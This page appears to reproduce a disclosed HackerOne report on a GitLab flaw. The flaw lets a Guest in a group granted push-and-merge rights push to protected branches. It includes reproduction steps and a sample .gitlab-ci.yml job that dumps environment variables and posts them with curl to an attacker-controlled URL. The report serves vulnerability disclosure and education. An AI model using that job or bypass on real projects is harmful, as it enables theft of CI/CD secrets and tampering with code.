Skip to content
Access control Disclosed report Intermediate

Unauthorized member can gain `Allowed to push and merge` access and affect integrity of protected branches

A user with Guest role in a group that is granted 'Allowed to push and merge' access to a protected branch can push and merge to that branch, because the system only checks the user's maximum role in the project, not their role in the granted group. This allows an attacker to affect the integrity of protected branches and potentially leak CI/CD variables.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2104540 by theluci on 2023-08-09, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Hello,

I found that when a group is granted Allowed to push and merge access to the protected branch of a project.
It is not checked whether the member gaining Allowed to push and merge access is atleast a Developer in the granted group. But only whether the member has a max role of Developer in the project or not.

Background

Gitlab provides a PREMIUM/ULTIMATE feature to grant specific groups or specific users Allowed to merge and Allowed to push and merge access on protected branches.

2aug-1.png
2aug-1.png From the original on GitLab

When a specific user is being granted Allowed to push and merge access.
Only users with atleast Developer role are shown and can be granted the above access.

2aug-2.png
2aug-2.png From the original on GitLab
2aug-5.png
2aug-5.png

Similarly, when a group is granted Allowed to push and merge access to the protected branch of a project.
Only the members of the group with atleast Developer role are granted the above access.

Vulnerability

When a group is granted Allowed to push and merge access to the protected branch of a project.
It is not checked whether the user gaining Allowed to push and merge access is atleast a Developer in the granted group.
It is only checked whether the user,

a) Is a member of the granted group
b) Has a maximum role of Developer in the project

Due to this the following Attack is possible,

  1. victim is the Owner of victim-project.
  2. attacker is a Developer of victim-project.
  3. victim goes to https://gitlab.com/<victim-group>/<victim-project>/-/project_members and adds granted-group as Developer.
  4. victim goes to https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Protected branches and grants Allowed to push and merge access to granted-group.

victim expects that only the members of the granted-group with atleast Developer role are granted the above access.

  1. attacker is successful in joining the granted-group as a Guest.

As attacker and victim are already working on victim-project together, it will be quite easy and most possible for attacker to join granted-group as a Guest.

  1. attacker automatically gains Allowed to push and merge access on the protected branch.

victim has no idea that attacker has gained Allowed to push and merge access on the protected branch.

  1. attacker can use this access to,

    a) Affect the integrity of the protected branch
    b) Upload a malicious .gitlab-ci.yml file to leak the project and parent group’s CI/CD variables

Steps to reproduce

  1. victim creates a group victim-group and activates Ultimate trial.

  2. victim creates a project victim-project inside victim-group.

  3. victim goes to https://gitlab.com/<victim-group>/<victim-project>/-/project_members and adds attacker as Developer.

  4. victim creates a group granted-group.

  5. victim goes to granted-group membership page https://gitlab.com/groups/<granted-group>/-/group_members and adds victim-member as Developer.

  6. victim goes to victim-project membership page https://gitlab.com/<victim-group>/<victim-project>/-/project_members and invites granted-group as Developer.

  7. victim goes to https://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Protected branches and grants Allowed to push and merge access to granted-group.

victim expects that only the members of the granted-group with atleast Developer role are granted the above access.

  1. victim goes to granted-group membership page https://gitlab.com/groups/<granted-group>/-/group_members and adds attacker as Guest.

As attacker and victim are already working on victim-project together, it will be quite easy and most possible for attacker to join granted-group as a Guest.

  1. attacker automatically gains Allowed to push and merge access on the protected branch.

victim has no idea that attacker has gained Allowed to push and merge access on the protected branch.

  1. attacker can use this access to affect the Integrity of the protected branch,
  • attacker can create a new file using the + symbol.
  • attacker may choose to edit an existing file or delete an existing file.
  1. attacker can also use this access to Upload a malicious .gitlab-ci.yml file with the following content,
job_name:      
 script:      
   - export > test.txt      
   - curl -X POST --data "$(cat test.txt)" attacker-controlled-url  

To leak the project and parent group’s CI/CD variables affecting Confidentiality.
(While testing this make sure victim has added some CI/CD variables in victim-project and victim-group)

POC

9aug-2.mp4 From the original on GitLab

Output of checks

This bug happens on GitLab.com (Probably on instance too).

Impact

Unauthorized member can gain Allowed to push and merge access on protected branches and use this access to,

  1. Affect the Integrity of the protected branches.
  2. Upload a malicious .gitlab-ci.yml file to leak the project and parent group’s CI/CD variables affecting Confidentiality.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An unauthorized member can gain 'Allowed to push and merge' access on protected branches, affecting the integrity of the branches and potentially leaking CI/CD variables by uploading a malicious .gitlab-ci.yml file.

What the attacker needed

Victim adds attacker as Developer to project; victim grants group push/merge on protected branch; attacker joins granted group as Guest

How it was found

  1. Victim creates a group and project, and adds attacker as Developer to the project.
  2. Victim creates another group (granted-group) and adds a member as Developer.
  3. Victim invites granted-group to the project as Developer.
  4. Victim grants granted-group 'Allowed to push and merge' access on a protected branch.
  5. Victim adds attacker as Guest to granted-group.
  6. Attacker automatically gains 'Allowed to push and merge' access on the protected branch.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In GitLab, protected branches are special branches that only certain people can push to. Normally, if you give a group permission to push to a protected branch, only group members with at least Developer role should get that permission. But here, the system only checks if the user is a member of the group and if their highest role in the project is Developer. So a user who is only a Guest in the group can still push to the protected branch, which they shouldn't be able to do.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.